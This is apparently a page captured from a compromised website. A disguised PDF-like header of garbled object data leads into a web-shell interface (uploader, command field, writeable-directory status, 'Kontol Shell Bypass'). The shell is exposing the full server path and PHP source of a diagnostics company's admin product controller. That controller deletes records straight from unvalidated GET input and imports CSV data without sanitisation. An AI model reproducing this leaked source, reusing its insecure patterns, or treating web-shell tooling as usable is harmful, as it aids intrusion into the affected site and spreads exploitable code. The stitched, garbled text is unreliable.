%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/application/modules/admin/controllers/ecommerce/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/application/modules/admin/controllers/ecommerce/Products.php
<?php 
/*
 * @Author:    Chandni Gupta
 */
if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}

class Products extends ADMIN_Controller
{

    private $num_rows = 10;

    public function __construct()
    {
        parent::__construct();
        $this->load->model(array('Products_model', 'Languages_model', 'Categories_model'));
    }

    public function index($page = 0)
    {
        $this->login_check();
        $data = array();
        $head = array();
        $head['title'] = 'Administration - View products';
        $head['description'] = '!';
        $head['keywords'] = '';
		
        if (isset($_GET['delete'])) {
            $this->Products_model->deleteProduct($_GET['delete']);
            $this->session->set_flashdata('result_delete', 'product is deleted!');
            $this->saveHistory('Delete product id - ' . $_GET['delete']);
            redirect('admin/products');
        }

        unset($_SESSION['filter']);
        $search_title = null;
        if ($this->input->get('search_title') !== NULL) {
            $search_title = $this->input->get('search_title');
            $_SESSION['filter']['search_title'] = $search_title;
            $this->saveHistory('Search for product title - ' . $search_title);
        }
        $orderby = null;
        if ($this->input->get('order_by') !== NULL) {
            $orderby = $this->input->get('order_by');
            $_SESSION['filter']['order_by '] = $orderby;
        }
        $category = null;
        if ($this->input->get('category') !== NULL) {
            $category = $this->input->get('category');
            $_SESSION['filter']['category '] = $category;
            $this->saveHistory('Search for product code - ' . $category);
        }
        $vendor = null;
        if ($this->input->get('show_vendor') !== NULL) {
            $vendor = $this->input->get('show_vendor');
        }
		
		if (isset($_POST['export'])) {
			header("Content-Disposition: attachment; filename=ShardaDiagnostics-products-".date('Y-m-d').".csv");
			$all_bookings = $this->Products_model->getproducts('', '', $search_title, $orderby, $category, $vendor);
			//print_r($all_bookings);die;
			$file = fopen('php://output', 'w');
			$order_status = unserialize(ORDER_STATUS);
			$header = array("Test Code","Product Name","Old Price","Offer Price","Sample Type","Fasting Time","Reporting Time","Home Sample Collection","Test","Category","Recommended For");
			fputcsv($file, $header);
			foreach ($all_bookings as $bookings){
				$test_id=$this->Products_model->getTestid($bookings->test_id);
				$test=implode(",",$test_id);
				$data=array($bookings->test_code ,$bookings->title ,$bookings->old_price,$bookings->price,$bookings->sample_type,$bookings->fasting_time,$bookings->reporting_time,$bookings->sample_collection,$test,$bookings->cat_name,$bookings->recommended_for);
				fputcsv($file,$data);
			}
			fclose($file);
			exit;
        }
		if($_GET['import']=='1') {
			$translation=Array ( '0' => 'en');
			$responseArray = $this->getServiceList($ServiceType="I");
		    print_r($responseArray['ServiceList']); die;
			foreach($responseArray->ServiceList as $key=>$row){
			$IsHomeService = $row->IsHomeService=='1' ? 'Available' : '';
			$post = array(
				'test_code' => $row->ServiceId,
				'his_code' => $row->ServiceId,
				'title' => $row->ServiceName,
				'slug' => valid_seo_friendly_url($row->ServiceName),
				'old_price' => number_format($row->Price, 2, '.', ''),
				'price' => number_format($row->NetAmt, 2, '.', ''),
				'sample' => $row->SampleType,
				'fasting_time' => $row->InstructionForPhlebotomy,
				'reporting_time' => $row->ReportTime,
				'sample_collection' => $IsHomeService,
				'shop_categorie' =>  '2',
				'preservicerequirement' =>  $row->PreServiceRequirement,
				'description' =>  $row->ServiceDescription,
				'provider' =>  $row->Provider,
				'instructionforfrontdesk' =>  $row->InstructionForFrontDesk,
				'recommended_for' => '',
				'service_type' => '',
				'image' => 'image-report-default.png',
				'related_test' => '',
				'in_slider' => '0',
				'position' => '9',
				'translations' => $translation
				);
				//print_r($post);die;
				$add_product = $this->Products_model->setProduct($post);
			}
			
			// After successfull redirection redirect to products page
			redirect('admin/products');
		}
		
		if($_GET['import_pack']=='1') {
			$translation=Array ( '0' => 'en');
			$responseArray = $this->getServiceList($ServiceType='OPP', 0);
			$risk_cat=array();
			print_r($responseArray); die;
			foreach($responseArray->ServiceList as $key=>$row){
				print_r($row); //die;	
				//print_r($responseArray);
				$responsePackArray = $this->GetPackageBreakup($ServiceId = $row->ServiceId);
				
				//print_r($responsePackArray);
				//die;
				foreach($responsePackArray->PackageBreakupList as $key=>$val){
					$testCode = $val->ServiceId;
					$resp = $this->Products_model->getTestbyCode($testCode);
					if($resp['id']>0){
						array_push($risk_cat,$resp['id']); 
					}
				}
			
				$IsHomeService = $row->IsHomeService=='1' ? 'Available' : '';
				$post = array(
					'test_code' => $row->ServiceId,
					'his_code' => $row->ServiceId,
					'title' => $row->ServiceName,
					'slug' => valid_seo_friendly_url($row->ServiceName),
					'old_price' => number_format($row->Price, 2, '.', ''),
					'price' => number_format($row->NetAmt, 2, '.', ''),
					'sample' => $row->SampleType,
					'fasting_time' => $row->InstructionForPhlebotomy,
					'reporting_time' => $row->ReportTime,
					'sample_collection' => $IsHomeService,
					'shop_categorie' =>  '3',
					'related_test' =>  $risk_cat,
					'preservicerequirement' =>  $row->PreServiceRequirement,
					'description' =>  $row->ServiceDescription,
					'provider' =>  $row->Provider,
					'instructionforfrontdesk' =>  $row->InstructionForFrontDesk,
					'recommended_for' => '',
					'service_type' => '',
					'image' => 'image-report-default.png',
					'in_slider' => '0',
					'position' => '9',
					'translations' => $translation
					);
					//print_r($post);die;
					$add_product = $this->Products_model->setProduct($post);
			}
			
			// After successfull redirection redirect to products page
			redirect('admin/products');
		}
		if (isset($_FILES['upload'])) {
			$translation=Array ( '0' => 'en');
			$post = array();
			$i=0;
			$file = $_FILES['upload']['tmp_name'];
			$handle = fopen($file, "r");
			while(($filesop = fgetcsv($handle, 1000, ",")) !== false)
				{
				if($i>0){
				$test='';
				if($filesop[9]){
					$cat=$this->Products_model->getCategory($filesop[9]);
					$category=implode(",",$cat);
				if($filesop[8]!=''){
					$test=$this->Products_model->getTest($filesop[8]);
				}
				}
				/*$risk_category=$this->Products_model->getRiskcat($filesop[7]);	
				}
				*/
				$post = array(
				'test_code' => $filesop[0],
				'title' => $filesop[1],
				'slug' => valid_seo_friendly_url($filesop[1]),
				'old_price' => $filesop[2],
				'price' => $filesop[3],
				'sample' => $filesop[4],
				'fasting_time' => $filesop[5],
				'reporting_time' => $filesop[6],
				'sample_collection' => $filesop[7],
				'shop_categorie' => $category,
				'recommended_for' => $filesop[10],
				'service_type' => $filesop[11],
				'image' => 'image-report-default.png',
				'related_test' => $test,
				/*'risk_categorie' => $risk_category,
				'precautions' => $filesop[9],
				'perameters' => $filesop[10],
				'includes' => $filesop[12],*/
				'in_slider' => '0',
				'position' => '9',
				'translations' => $translation
				);
				//print_r($post);die;
				$rowscount = $this->Products_model->productsByCodeCount($filesop[1],$filesop[0]);
				if($rowscount==0){
					$add_product = $this->Products_model->setProduct($post);
				}
				}
				$i++;
			}
		}

        $data['products_lang'] = $products_lang = $this->session->userdata('admin_lang_products');
        $rowscount = $this->Products_model->productsCount($search_title, $category);
		$page = $_GET['per_page']; 
        $data['products'] = $this->Products_model->getproducts($this->num_rows, $page, $search_title, $orderby, $category, $vendor);
        $data['links_pagination'] = pagination('admin/products', $rowscount, $this->num_rows, 3);
        $data['num_shop_art'] = $this->Products_model->numShopproducts();
        $data['languages'] = $this->Languages_model->getLanguages();
        $data['shop_categories'] = $this->Categories_model->getShopCategories(null, null, 2);
		
        $this->saveHistory('Go to products');
        $this->load->view('_parts/header', $head);
        $this->load->view('ecommerce/products', $data);
        $this->load->view('_parts/footer');
    }

    public function getProductInfo($id)
    {
        $this->login_check();
        return $this->Products_model->getOneProduct($id);
    }

    /*
     * called from ajax
     */

    public function productStatusChange()
    {
        $this->login_check();
        $result = $this->Products_model->productStatusChange($_POST['id'], $_POST['to_status']);
        if ($result == true) {
            echo 1;
        } else {
            echo 0;
        }
        $this->saveHistory('Change product id ' . $_POST['id'] . ' to status ' . $_POST['to_status']);
    }
	
    /*
	* Function : GetPackageBreakup
	*
	*/
   	public function GetPackageBreakup($PackageId) {
		$PackageId = "9949";
		$url = 'GetPackageBreakup';
		$post = ["PackageId"=> "$PackageId","FacilityId"=>"4"];
		$serviceListArray = phpcurlpostdataapi($url, json_encode($post)); 
		return $serviceListArray;
	}
	
    /*
	* Function : getServiceList
	*
	*/
	
   	public function getServiceList($ServiceType, $IsHomeService=1) {
		$url = 'GetServiceList';
		$post = ["HospitalLocationId"=> "1","FacilityId"=>"4","Pincode"=>"0","ServiceId"=>0,"ServiceCategory"=>0,"IsHomeService"=>$IsHomeService,"ServiceType"=>"$ServiceType"];
		$serviceListArray = phpcurlpostdataapi($url, json_encode($post));  
		//print_r($serviceListArray); //die;
		return $serviceListArray;
	}
}

Kontol Shell Bypass